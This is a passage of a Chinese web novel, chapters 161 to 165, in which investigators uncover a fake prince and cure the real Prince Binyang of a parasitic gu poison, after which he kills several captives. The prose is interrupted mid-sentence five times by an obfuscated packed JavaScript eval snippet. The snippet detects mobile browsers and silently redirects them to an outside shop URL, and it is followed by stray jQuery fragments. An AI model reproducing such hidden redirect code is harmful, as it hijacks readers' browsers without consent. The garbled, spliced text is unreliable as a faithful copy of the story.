“我倒是真希望他被事儿绊住脚,也不希望他出事儿啊。那憨货只有一身力气能看,这要是出门儿在外,被人一骗一个准儿。这都出门儿三年了,也不知道到哪个犄角旮旯,现在连个音信都没有。说起来也奇怪,当初和他一起走的男人们一个回来的也没有。要说他自个儿傻也就算了,可总不能一块儿出门儿的男人们都傻吧?而且不瞒小姐,我家男人虽然憨傻些,可因为有把子力气,再加上祖上荫庇,也是个小吏。可他这一走了之,家里的职位也没了。这也就算了。就算他不当官吏,我有卖面的手艺在,总能养活得了一家人。可现在问题是,根本不知道他在哪儿啊……” 说着说着,这位坚强的老板眼中渐渐湿润,别过脸去,在脸上擦拭。 淳于霜一时间也不知道该说什么安慰的话。就在她苦思冥想之际,旁边的谢明尘轻轻扯了扯她的衣袖。见吸引到淳于霜的注意力之后,谢明尘用手沾了茶水,在桌子上写了个‘三’字儿。 写这个干嘛?这位老板的丈夫确实丢了三年之久…… 等等,三年?! 淳于霜当即打了个机灵,盐城出现异常的时间,好像就是三年前!难道说这位老板的丈夫也被抓到盐场去了?只是对方刚刚讳莫如深,没有细说。淳于霜斟酌了一下语气,谨慎开口。 “方姐姐,或许这个问题有些冒昧,但我还是想厚着脸皮问一句,当初大哥是和街坊邻居的男人们去盐场应征了吗?” 方大姐抹眼泪的动作一顿,迅速抬头,警惕看着淳于霜,另一只手已经将自己的女儿揽到身后,用身体护着。或许是察觉到主人的紧张,那条一直懒洋洋的大黑狗缓缓直起腰背,喉咙也发出呼噜声,气氛一时间紧张起来。 可方大姐盯着淳于霜看了许久,却只在对方脸上看到了真诚纯挚的表情,犹豫片刻,最终轻轻点头。即便在自己家中,方大姐的声音也低的很,仿佛生怕隔墙有耳。 “这件事儿被官府压下了,当初我们的丈夫去盐场应召,却长久不回。你们应该也知道,滨阳王一向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14529758|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体恤爱民,我们这些平民的胆子也就大些。当初还想着去王府问个究竟,可谁曾想到王府强力镇压,并且严令我们不许谈及此事。还说我们的丈夫,兄弟,甚至父亲偷了盐场的银子一走了之,现在还没抓回来,但凡发现他们的踪迹都要报官,否则以同罪论之。” “我们没什么见识,还要照顾家中老小,更何况家里的男人们都不见了,那段时间真是说什么的都有,可最终还是敌不过王府权威,渐渐的,大家也就不敢讨论这件事儿。可我相信我家男人他虽然憨直些,却不是个坏人。他当初也曾跟着滨阳王在战场上厮杀,有一腔报国热血,这些年当个小官小吏,也没有凭借自己的职位谋取利益。否则当初他也不必为了多赚些银钱去盐场应征。” “我们的父亲丈夫兄弟丢了,却不能报官,甚至不能正大光明的提起。唉,我还好些,从小身子骨硬朗,还有门儿手艺,总能养活得起若华。隔壁家的王妹子,以前身体就不太健朗,家里男人丢了之后身子骨越来越差,还要支撑起一家生计,已经足足两日没出来过了。我得找个空档去看看怎么样了……” 越是听方老板讲述,淳于霜就越觉得有种莫名的熟悉感。嘶,方老板的男人不会真在盐场吧?只是她之前也就在盐厂外边儿溜了一圈儿,甚至没有深入进去过,就匆忙赶到城里探查王府情况。就算方老 板的男人真在盐场,也不知道是不是还活着,这种情况,就算说出来也是白白给方老板增添烦恼吧? 就在淳于霜决定先不开口之际,方老板却敏锐察觉到面前这位小姐眉目中的不忍与犹豫。这一刻,这个没读过书的女人仿佛将一辈子的聪明才智都集中在这一瞬间,她直接扑通一下跪到那儿,还拉着自己的女儿一起。 “小姐,我知道您是贵人。您是不是知道我男人到底在哪儿?我跟他夫妻一场,这些年的情分不浅。若是他死了,我总得给他收个尸吧?” 第一百六十一章 救人 “您放心,我只想知道个答案,不会纠缠您。您若是知道,就请告诉我一声,我,整整三年了,我连他一点儿消息都没听到。总得让那个憨货知道,我这三年一直在等他。若华也等着他回来叫他一声爹爹……” 说着说着方老板终于忍不住嚎啕大哭起来,旁边的若华虽然有些懵懂,但也听出了重点,跟着哇哇哭。 淳于霜整个人都麻了,忍不住侧脸看一眼谢明尘,没想到这个被九阙亲封为‘傻白甜’的小太医竟然别过脸去不肯跟自己的视线相交。好啊,这是等着把难题都交给自己解决! 不过话说回来,这母女两个哭的稀里哗啦的,确实不太适合陌生男人帮忙劝慰。淳于霜悄悄的叹了口气,觉得自己实在命途多舛。但还是十分熟练的将二人扶起来,语重心长的将前提条件都说给方老板听。 “芳姐姐,我知道你是个坚强的人,我接下来要说的是可能不符合你的预期,但确实是我亲眼所见。而且我没确定的事情也不敢跟你说。而且我知道的也很有限,若是这些你都不在意,我倒是可以将自己看到的事情说出来。” 方老板连连点头,这三年来她日日等夜夜盼,都快成望夫石了。好不容易得到一点儿夫君下落的可能,怎么也得抓住啊! 对方再三保证不会感到失望,淳于霜沉吟一下,才将自己在盐场看到的事情说出来。 “……就是这样方姐姐。里面具体有谁有多少人,我没敢细看。只是远远看了一眼,怕被别人发现就跑出来了。或许您的丈夫现在还在盐场,或许他还活着呢。您先别伤心,总会好的。” 方老板从淳于霜刚刚讲述开始,眼中就不停掉着泪珠。直到此刻,终于控制不住,大颗大颗的泪珠涌出。她早就知道自家那个憨货肯定是出事了。但属实没想到当初盐场征召盐工一事竟有这样的内幕。而且她家那个憨货在盐场该受多少罪啊?吃不饱,穿不暖,还要每天干重活。盐这东西虽然每日必吃,可真正炼盐的人总会被蛰疼。更别说是一刻不停的干活了。 可哭完之后方老板又觉得茫然。听贵人小姐这意思,当初那些男人们去了盐场之后就没能再出来,这整件事就是一场骗局,可整个盐城的人都知道,盐城偌大的盐场背后,真正的主人正是滨阳王啊。 滨阳王不仅是大景的战神,也是他们这块土地的恩人。当初王爷初初就藩,就将他们的税赋减掉两成。因为这项爱民之举盐城这些年不知多了多少刚出生的婴儿,因为大家都有粮食吃,不必将生下来却养不起的孩子丢弃。当初整个盐城都在感激王爷的善举,每当王爷出行,大家都十分高兴,甚至一起去围观。那时候的欢喜还历历在目。 可短短两年时间,人真的会变这么吗? 方老板茫然的看着对面的贵人。她只是个普通的女人,这些年靠着一股毅力支撑起这个家,并且将女儿好好抚养长大。唯一的执念就是希望不知去了哪里的丈夫能早日归来,可现在虽然知道她的丈夫在哪里,可却找不回来,毕竟对方可是位高权重的王爷啊。这天底下又有谁能比得过王爷呢? 怪不得这位贵人小姐说这件事之前会让她不要失望,这根本就是个无解之题…… 就在方老板即将陷入绝望的时候,淳于霜连忙安慰她。 “方老板放心,我以为有人就是之前给你付钱的那位。她刚正清明,眼里容不得饿死。这次她悄悄进城就是为了查明这件事。方姐姐,你刚刚也看到外面那些到处搜查的王府侍卫了吧?我怀疑正是因为她查到了紧要的东西,才会弄出这么大动静。所以你别担心,这件事一定很快就有结果,到时候我一定尽快通知你。” 方老板擦了擦脸上的眼泪,胡乱点头,她敏锐的从这位贵人所说的话中察觉到了一定的可能性。就比如之前那位出手大方的小姐,如果她只是个普通人,为什么会有刚正清明这样的评判?这样的评价 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14544762|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不像是对着一个贵族小姐,反而像是在评价一个官员,是的,像是在评价一个官儿。 就连盐场那戒备森严的地方都能听到在外面传进来的消息,盐城里能得到的消息就更多了,谁让他们盐城是个四通八达的好地方呢。就在这一瞬间,方老板突兀想起了前些日子传进来的消息。 黔州那边不是有个京城来的青天大老爷吗?哦不,是女青天。据说那位女青天一来就把整个黔州搅了个翻天覆地,那个吃百姓肉和百姓写的梁恒知府都被拿下了。那个丧良心的知府还想跑,结果被百姓们硬生生打死了。 一想到传进来的消息,方老板就止不住的高兴。她认真盯着穿一双的眼睛,不自觉露出询问之意。 淳于霜其实是有些惊讶的,她也没说什么重要的消息,可对面这位方老板却能明白她的意思。不愧是在丈夫离开三年之后也能把这个家经营的井井有条的老板。 于是她点了点头,方老板眼中喜色欲浓。看来她丈夫归家有望了。 几人正在说话,突然听到外面有细微的窸窣声,猛然想起那几个去药铺买药材的侍卫,淳于霜连忙起身,来到后院,隔着墙就听到那几个侍卫其中之一的轻声询问。 “淳于大人?谢太医?” 淳于霜松了口气,听说 让他们进来,也不知道魏渊这几个手下是怎么发现他们在方老板家里的,不过他们那群人手里总有特殊的法子,淳于霜也不好奇。她更在意对方带过来的消息。 “怎么样?有消息吗?九阙他们如何了?” “大人放心,应大人已经掌握了王府,方才那些出来搜寻的王府侍卫也已经回去,这里面的情形很复杂,现在应大人邀请您二位入府,似乎是想要救一个人。” “救人?” 淳于霜谢明尘彼此对视一眼,有些惊讶,这个时候要去救谁?他们本能觉得,王府里的事儿有些复杂。 第一百六十二章 子母蛊 然而即便早就有心理准备,当二人看到那间屋子里的情形时还是忍不住的震惊。那个只知道吃兵血,啃百姓骨头的赵将军被捆了也就算了,怎么还有几个北蛮人?当然了,这几个北蛮人完全没有印象里那种粗鲁,蛮横无理的形象,反而像个小鸡崽子似的乖巧蹲在角落里,安静极了。 但更让人惊讶的是一直在王府里发号施令的滨阳王竟然是个假王爷,真正的王爷早在三年前就已经被下毒,昏迷在床,神鬼不知了。 那个假王爷此刻也被捆了个结结实实,躺在真王爷床榻边。那双眼睛微微闭着,不肯与任何人视线相接,也不知是不是知道自己死到临头了,这会儿也安静的很,完全没有之前跟九阙叫嚣的嚣张。 不是,他们两个不就在王府外面待了小半日吗?这中间到底发生了什么?感觉事情越来越复杂了。 “九阙,这……” “事情比较复杂,如果不是亲眼所见我也觉得棘手,不过现在还是请谢太医赶紧医治真正的滨阳王吧。我怕耽搁的时间久了,他就再也醒不过来。” 九阙没说出口的事,就算是一个正常人,躺在床上整整三年之久,身上的肌肉只怕也退化了,就算真把人给救下,也不知道能不能再次站起来。遥想当年英姿飒爽,英勇神武的双子星战神之一,竟变成这副模样,也不知滨阳王清醒之后会是什么样的心情。 这位将军还未年老就面临这样的情况。唉,即便是与他素不相识的九阙都觉得遗憾。更何况醒来之后还有这么大一堆烂摊子。她要是滨阳王,估计也觉得头痛不已。 但现在说什么都晚了,必须得让对方清醒过来。 谢明尘随身带着自己的宝贝药箱,这会儿仔仔细细的将滨阳王检查了一遍,神情凝重。这个王爷当真中了蛊毒。而且这蛊虫相当歹毒,强行令滨阳王卧病在床昏迷不醒的同时,还将滨阳王的生机源源不断的输送过去。也亏的这位王爷体魄强健,勉强在整整三年的输送之余活下来。 “这子母蛊歹毒的很,子蛊向来听从母蛊的命令,同时也在源源不断朝着母蛊的宿主传递生机,直到自古寄生的宿主死亡。这字母蛊还有另外一个名字,叫替命蛊。南苗那边向来擅长饲养蛊虫,这替命蛊相当难得,可以令一生机涣散,危在旦夕之人强行续命。且子蛊寄生的宿主体魄越强健,母蛊所寄生之人就能活的越长。但终归是一命换一命的法子,歹毒的很,常人不用。” 听到这些解释,众人忍不住皱眉。 这种蛊虫被创造出来的目的似乎就是为了强行给人续命,每每想起,就觉阴寒不已。这世上会有谁心甘情愿成为别人的续命丹药呢?而且还是这种人不人鬼不鬼的活死人状态。现在问题来了,已知真正的滨阳王身上寄生的是子蛊,那母蛊在哪儿?会不会在假王爷身上? 谢明尘第一时间检查了奄奄一息了无声趣的假王爷。对方完全不反抗,只是用嘲弄的眼神盯着谢明尘,谢太医缓缓收回手,面色不太好看。 都不用问,只看对方这副表情就知道假王爷身上并没有母蛊。那真正的母蛊到底在哪儿? “不必看我,我一条区区贱命,怎么配用滨阳王的生机?我就算想,别人也舍不得。” 众人若有所思。 “所以那母蛊在你真正的主人身上?” “我可没这么说,都是你们自己猜的。不过话说回来,你们看我也没用,因为我也不知道背后真正的主子是谁。你们不会以为就我这么个小棋子儿,也值得对方用真面目来看吧?不不不,在人家眼里,我这样的棋子儿比比皆是,根本不值得纡尊降贵来瞧。随便指派几个下属就够给我面子了。” “……” 虽然很想否认,但假王爷说的也不无道理,可他们现在根本不知真正的幕后主使是谁。怎么找母蛊? 事情一时间陷入僵局。在一片焦灼中,九阙倒是突然想起一件事儿,在原本的剧情里,这子母蛊除了找到母蛊的真身之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14544763|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外,似乎还有另外一种解法。只是这种解法有些艰难,堪称九死一生。 九阙委婉提出了自己的看法。 “子蛊之所以听命于母蛊,是因为对方比它更强大。但蝼蚁尚且惜命,更何况是用天才地宝温养着的蛊虫。我想子蛊一定也不情愿吧?” “你的意思是?” “我是想说若是让子蛊比母蛊更强大,是不是可以反过来牵制母蛊,让母蛊反过来给子蛊供给养分?” 谢明尘一时间陷入了沉默。在这一瞬间他调动了自己毕生所学的医药知识,得出了个艰难的结论。 “确实可行,但这种法子以前没人用过,肯定会很凶险。滨阳王现在的身体状况不一定能撑得住。” “可如果这里的情况被母蛊的宿主得知,命令子蛊强行自杀怎么办?到那时候,滨阳王岂不是也死了?” “这……可若是滨阳王出事,陛下势必会追究,谁能承担得了这个责任?就算我们知道这是事实,可若是陛下身边有小人挑拨,谁知道陛下会不会相信我们的说法?毕竟滨阳王可是他最疼爱的义子。” “那也不能眼睁睁看着滨阳王死去,背后真相无人可知!” “我承认 你说的有道理,可我刚才所说的那件事是跨不去的坎儿。普天之下,又有谁能得到陛下这般信任?我……” 等等,好像真的有啊。 原本正在争论的淳于霜与谢明尘齐刷刷扭头,看向皱眉苦思的九阙。眼前不就有个现成的吗? 九阙有些茫然的看着大家,不是,你们都盯着我做什么?虽然不知道为什么陛下对自己格外信任,可是这种情况他应该不会相信我说的话吧?毕竟对方可是他的义子啊。 但除此之外好像也没什么法子,于是九阙十分淡定自若的点了点头。是的,没错,就是这样,陛下就是十分信任我。只管去做就行。 众人商议片刻,最终还是决定冒险行事。 第一百六十三章 母蛊势弱 如果想让子蛊比母蛊更强健,首先要做的就是要让子蛊的宿主恢复体力,仔细审问过假王爷之后,发现对方在这三年里除了勉强维持性命的食水之外,并没给过滨阳王其他任何东西,怪不得那位以身板高大威猛着称的滨阳王现在瘦的跟个骨头架子似的。 好在,滨阳王府的珍稀药材还真是不少。谢明尘用那些人参雪莲等仔细炮制了一幅适合滨阳王现在身体情况的补药,花了整整三日时间,勉强将对方的身体温补成能够接受大量药力的程度,然后在众人紧张期待的表情下给他喂了一副强力药剂,里面有颗两百年的人参,放了足足三片儿。放的时候谢明尘的手都在抖,一是心疼药材,二是担心滨阳王会虚不受补。 对方喝下那碗药之后效果十分明显,不多时滨阳王脸色就变得红润起来,但对方还是没醒。按照谢明尘的说法,当滨阳王摄入大量药力之后,这些天生地养的灵药精华大多数会被那只子蛊吸收,至于下一小部分维持宿主的生命,到那时宿主很有可能会醒转。 如今唯有一字可行,等。 足足半个时辰过后,原本安稳躺着的滨阳王眼皮突然轻轻颤了一下,一直紧紧盯着他的众人忍不住发出一声短促的惊呼。 滨阳王好像要醒过来了。 大家又耐心等了一个时辰,昏睡了整整三年之久的滨阳王手指轻颤,终于艰难而缓慢的睁开了眼。 当对方睁开眼的瞬间,九阙敏锐感知到周围的空气似乎都冷凝下去,那种肃杀的氛围叫人几乎喘不过气,不愧是在战场上厮杀多年的大将军,这浑身的气势无人能比。 滨阳王明明昏睡了三年之久,但在睁开眼之后说的第一句话,却叫众人惊讶。 “多谢各位小友相助。” 因为昏睡了太长时间,这位王爷的嗓音粗哑。像是被砂纸狠狠磨过似的,说实话,不太好听。但这时候谁还在意这些呀?虽然与这位王爷素不相识,可是在对方醒过来短短一炷香时间内九阙等人都忍不住迷上了对方。 这可真是个成熟又有魅力的大人。哪怕对方现在瘦的像个骨头架子,可那股经由沙场多年磨练,久居高位的气度还是让人折服。 在谢明尘的帮助下这位王爷缓缓坐起身,靠在枕头上,就这么个小小的动作,都让他忍不住喘了好几口气。似乎对自己的身体情况早就知晓,滨阳王并不在意这点小小的无法掌控的虚弱。他的目光扫过面前这几个神情激动的晚辈,露出个赞许的表情。尤其是看到九阙,神情更是恍然。 “你,你是应重鸣应将军的女儿?” 九阙对眼睛有些酸涩,轻轻点头。 见到故人之女,似乎让滨阳王心潮澎湃。他想说些什么,却急促的咳嗽几声,有些难熬。谢明尘紧张的盯着他看,一边把着滨阳王的脉,虽说这位王爷表面上看起来淡定自若,可内里的蛊虫正在肆虐。子蛊蛰伏多年,勤勤恳恳的输送生机。一朝强大,终是控制不住反抗之心,隔着千里之遥反噬母体。两条蛊虫隔着千里斗法,苦的可是他们的宿主。 滨阳王虽说被迫躺在床上整整三年,可他身子骨强健有力,且正处于一生中最年富力壮的时候,是个气血旺盛的男人。虽说众人不知晓母蛊的宿主是谁,但既然需要用到子母蛊续命,显然身体状况不好,在这场相隔千里的斗法中,在双方蛊虫的不断拉锯战中,子蛊逐渐占据了上方。 在这种情况下,滨阳王竟然还能分出精力和故人之女说话,意志力实在非常人所及。怪不得是闻名天下的战神双子星。单就这股意志力而言,已经无人能及了。 当然,他这边逐渐占了上风,占下风的母蛊日子就不好过了。千里之外的京城里,一栋精巧别致的院子内,原本正在优雅品茗的人突然感到心口一阵剧痛,脸色惨白,身上渗出大颗大颗的汗珠,他张了张嘴想要招呼人进来,下一刻却狠狠摔倒在地,旁边服侍的侍女都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14558265|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊呆了,连忙上前想要扶起。 “老爷,您没事儿吧?” 但在看清地上老爷的情况时,侍女忍不住尖叫出声。只见老爷的头发迅速白了大半,原本在这个年纪还算精神炯硕的姥爷,此刻却像是被吸干了一身精气似的,干枯衰老的厉害。如果不是亲眼所见,还真以为见鬼了!地上的男人努力了许久才从嘴里挤出来一句话。 “去找大夫!另外,把这件事儿给我烂在肚子里!” 对方阴狠的表情让胆小的侍女几乎要哭出来,连滚带爬的冲出去找大夫,生怕自己动作稍微慢点儿就会被老爷责罚。 只是她不知道的是,身后狼狈倒地的老爷眼中已经带了杀意。在这世上,他从来不信有人能保守秘密,除非那是个死人。这些年他身体康健,寻常的小病小痛根本影响不了他分毫。像今天这般明显是体内蛊虫异动,难道是滨阳王那边出事了?啧,早知如此,当初就不该留下他一条性命,但现在说什么都晚了。 他突然病重虚弱的事情绝对不能被宣扬出去。那个景潮生可不是好糊弄的,绝对会第一时间查看有问题的人。既然不能独善其身,那就把这摊水搅浑。他就不信景潮生和那个粗蛮无礼的皇帝能发现自己。但既然蛊虫出事,景潮生势必会回京,看来有些布置 是该收尾了。 看到地上那些自己吐出来的血,男人一阵心痛,这些可都是他耗尽心力,用尽无数珍贵药材才养出来的心头血啊。竟然就这么浪费了。他果然和姓景的犯冲…… 就在此刻,他突然感到心脏一阵剧烈的撕扯痛楚,好像有什么东西在硬生生的吞噬他的心脏一样。过于剧烈的痛苦让男人发出一阵撕心裂肺的哀嚎。 “啊啊啊——” 不,这是体内的母蛊感到莫大威胁时不得不开始吞食宿主富含精血的内脏,不!他的心脏正在迅速衰老残缺,这让已经体会过健康心脏的男人接受不了事实…… 第一百六十四章 随手杀之 虽然他已经极力避免,但他就是个手无缚鸡,而且金尊玉贵一辈子的人,根本没有景潮生那么好的体魄。因此在这场子母蛊的博弈中,他根本无法为母蛊提供更精纯更强大的力量,这也注定了母蛊的失败。 当供养的大夫急匆匆赶来时,看到的就是已经疼的浑身无力,躺在地上有进气没出气儿的主子。对自家主子的情况十分了解,看到此情此景,立马断言这是体内蛊虫的博弈,而且主子这方占了下风。这种情况下他也不敢贸然行动,只能从药箱里拿出各种珍贵的药材。可问题是,自家主子的年纪已经不小,不知能否经受得住这强大的药力。正在犹豫之际,男人睁开眼对着大夫点了点头,若是现在不采取行动,他只有一个死字,还不如冒险行事,反正他这辈子总是在博弈,若能博出个未来,也算不错。他还有莫大的事业未完成,绝不能倒在此处。 得到主子的允许,大夫立马加大了药量,男人的脸色也渐渐好看起来,体内母蛊的躁动也渐渐平息,双方之间又成了平行的拉扯。在这僵持之中,男人眼中闪过一丝狠厉的光芒。 “给我,给我杀了子蛊!” 大夫立马下针,远在千里之外的滨阳王几乎立刻有了感应,脸色变得难看起来。谢明尘一直在密切关注滨阳王的情况,当即掏出自己惯用的那套金针对准这个穴位狠狠扎了下去,同时又灌了一碗参汤。滨阳王闷哼一声,牵动周围人的心肠。 九阙紧张的看着面前这场无声无形的博弈,由衷希望滨阳王能在这场博弈中活下来,毕竟方才谢太医说过,在这场博弈中,失败的那方不仅蛊虫会死,而且宿主也会遭受重创。这不正是个寻找幕后凶手的好时机吗?贾王爷虽然不知道谁是真正的幕后凶手,但却知道对方此刻身在京城,只需要查一查京城中有谁突然未老先衰,或者生一场大病,遭受重创,基本就能确定对方的身份。 这段时间来遇到的几场大案,背后总有阴影存在。更可怕的是他们之间有某种牵连。之前的三皇子虽然也是其中一环,但他不是幕后真凶。而这次牵连到的皇子,会是真正的幕后凶手吗? 这一切都还是个未知数。不过或许是因为滨阳王体格健壮,哪怕经过三年的摧残,底子依旧还在,短短数息之间就已经重新打起精神,体内的蛊虫也一鼓作气,直接冲破母蛊的束缚! “噗!” 滨阳王狠狠吐出一口血,这口乌血离体的瞬间,他的精神头明显好转。明眼人都能看出来这次是稳了。果然休息片刻之后,滨阳王露出个肆意洒脱的笑容。 “躺在床上整整三年之久,没想到还有重获新生的一日,当真难得。多谢诸位小友相助,若不是你们,只怕我会一直缠绵病榻到死。” 九阙几个颇有些不好意思,其实他们也没做什么,就是多管闲事儿了点儿。而且这位王爷明明比他们大不了多少,三十多岁的人却总是用长辈的语气说话,让他们有些不好意思。 就在大家绞尽脑汁想怎么回答的时候,滨阳王却突然起身。 “虽然有很多想和诸位说的话,但现在有一事不做不平,还请诸位小友稍候。” “啊?当然,当……” 大家还在疑惑这位王爷刚刚醒转要做什么要紧事儿的时候,就发现对方刺啦一声,抽出挂在墙上用作装饰的长剑,雪亮的剑光不知闪到了谁的眼。九阙只觉眼前银光一闪,这位王爷明明只是闲庭信步般走了几步,甚至步子还有些不稳,可他手中拿着那把长剑,却与之无比契合。手掌微动,就像拿着一枝花,一根草那么轻盈,那几个北蛮人就死了大半。 九阙几个惊讶的睁大了眼睛,直到听见传来的惨叫哀嚎甚至求饶声才回过神来。 不是,这位王爷就这么利利索索的出手了?一点儿犹豫都没有?而且他不是已经躺在床上三年之久,手脚都没有力气了,到底是怎么强撑着站起身来,甚至还轻飘飘杀了几个人的?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14558266|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 滨阳王看着那几个脖颈处喷出大量鲜血,倒地不起一命呜呼的北蛮人,十分遗憾。 “可惜,若是放在我全盛时期,根本不会这么麻烦。血流的太多了,不如直接把脑袋砍下来,做成京观,也能好看许多。” 京,京观? 天爷啊! 这位该是多么凶残的主。好不容易能起身,做的第一件事儿就是砍了三个人的脖子,甚至还在惋惜没能直接把对方的脑袋砍下来? 九阙甚至下意识摸了摸自己的脖子,发现完好无损才忍不住悄悄松了口气。就连身为旁观者的她都是如此,亲身经历者更是已经吓得两股战战。尤其是北蛮左亲王,他可是曾经见过滨阳王如何在战场上大杀四方的,恐惧自然要比其他只是听说的人更要强烈。 他此刻几乎是不顾颜面的大声嘶喊。 “我!我已经和你们的钦差达成共识,我愿意把知道的一切都供出来,愿意当证人帮你们揪出幕后真凶!我已经投降了,你们不能杀俘——” “唰!” 滨阳王手中的长剑硬生生在离北蛮左亲王不足一指的地方停下。凛冽的剑锋直接削断了他一缕头发,在那缕头发飘飘摇摇落地的瞬间,滨阳王手腕一转,位于左亲王旁边的北蛮人 捂住狂喷鲜血的喉咙,惊讶倒地。 而被喷洒了一身鲜血的左亲王眼睛都不敢眨一下,拼命展示着自己的无害。他想活,他真的很想活! 这种强烈的怨念连旁观者都能清楚感知到。 九阙张了张嘴还是没劝,若是滨阳王真心想杀左亲王,她看着就是了,反正这里还剩下几个北蛮人,已经够当证人了。换成是她一动不能动躺在床上整整三年之久,神志清醒,却只能默默听着别人对自己的谋害,甚至还顶着自己的名头做了那么多危害百姓的事,若是稍有不慎无法醒来,就要背着这个罪名遗臭万年,她也想杀几个罪魁平息心中怒火。 第一百六十五章 出生时天有异象 滨阳王已经足够理智,毕竟他只杀了几个无关紧要的北蛮人,也就是吓唬了一下左亲王,连假王爷都没动一下,说实在话,九阙很佩服他。 滨阳王此刻面色如常的收回长剑,甚至表情还有些温和,只是在他那张因为太过瘦弱而显得病骨嶙峋的脸上,就有些可怕了。 “左亲王,我当然不会杀你,你的命要留给父皇处置。” 这些年大景的骑兵战力一直很弱,不是因为士兵实力太低,而是因为没有良马。说来也很奇怪,不知为何,草原上所养的马匹,不管耐力还是负重力都比大景养的要好上许多,大概是因为草原上有大片的空地足够马匹活动,而且有优良的马种。好不容易逮住个分量足够的左亲王,若是能用他换回足够的马种,也算值了。 九阙跟滨阳王想到一起去了,只不过这位王爷受了整整三年的罪,却依旧能够在醒来的瞬间理清楚思路,甚至不迁怒别人,当真是人中豪杰。 此刻那个假王爷怔愣的看着滨阳王,又是这样,还是这样。不管这个男人遭受了多大的痛苦折磨,依旧能够稳住心神。岂不是又将自己衬托的一事无成? 这世上既然生出他这种愚昧平庸的凡人,为何又要有滨阳王这样的人中豪杰?让他每每见到对方都觉得自惭形秽。 滨阳王的目光甚至没在假王爷身上停顿,他只是随意瞟了一眼神情恍惚的男人,安静的回到床榻之上,任由谢明尘继续给他诊治。 正是因为他这样的表现,反倒让那假王爷面色更加难看。这种目中无人的态度让他怎么能受得了?可是还没等他狂吠,就被九阙瞥过来的冰冷一眼吓得一愣。 九阙缓缓收回视线,虽说他很需要个证人,但如果面前这假王爷继续挑衅,她也不能保证会不会再胖揍他一顿。把滨阳王这样的英雄折磨到如今这种地步,就算他是被迫的,也很难被人原谅。 “九阙,你是叫九阙吧?我记得应将军提起你的名字。” 事实上滨阳王对九阙的印象相当深刻,一是因为她是应重鸣将军的独生女,二是因为应将军说,生女儿那天夜里做了一个梦,梦里有一片飘渺神异的宫殿,其中有龙凤盘旋,仙鹤翱翔,甚至还有举目望不到头的大鱼在云中遨游。宫殿之内有异香缭绕,据说那个孩子生下来三月之内,异香都不曾消散,十分神异。虽然一直不曾见过应九阙,可那时候他们几个最喜欢就是听应将军提起女儿的趣事。说那个女儿早慧,小小年纪就跟个小大人似的,聪明又能干。当然了,那时候他们都以为是应将军身为母亲对女儿太过偏爱。 每当有伟人降生,总会有异象出现,就比如说九阙,那时候这个消息被瞒的死死的,只有几个亲近的人才知道。当时正值战乱,战火纷飞,若是将九阙出生时的异象传扬出去,说不定会惹来不必要的麻烦,因此他们几个听过也就是了,不曾将此事说给别人听。 九阙倒是心中一动,她此前很少听别人提起应将军,尤其是姓林的一家子,他们好像怯于提起这个姓名,只能强行将之忘记。九阙下意识的反问。 “母亲是怎么说起我的?” “你啊……” “说你小小年纪就十分沉稳,把自己的小院子管的服服帖帖,泼水不进。又说你心地善良,从来不随意打骂为难家中仆从。还说你十分有孝心,每当她过生辰的时候,总会亲手给应将军做一碗长寿面。当然,虽然味道不怎么样,但应将军总是吃的干干净净。” 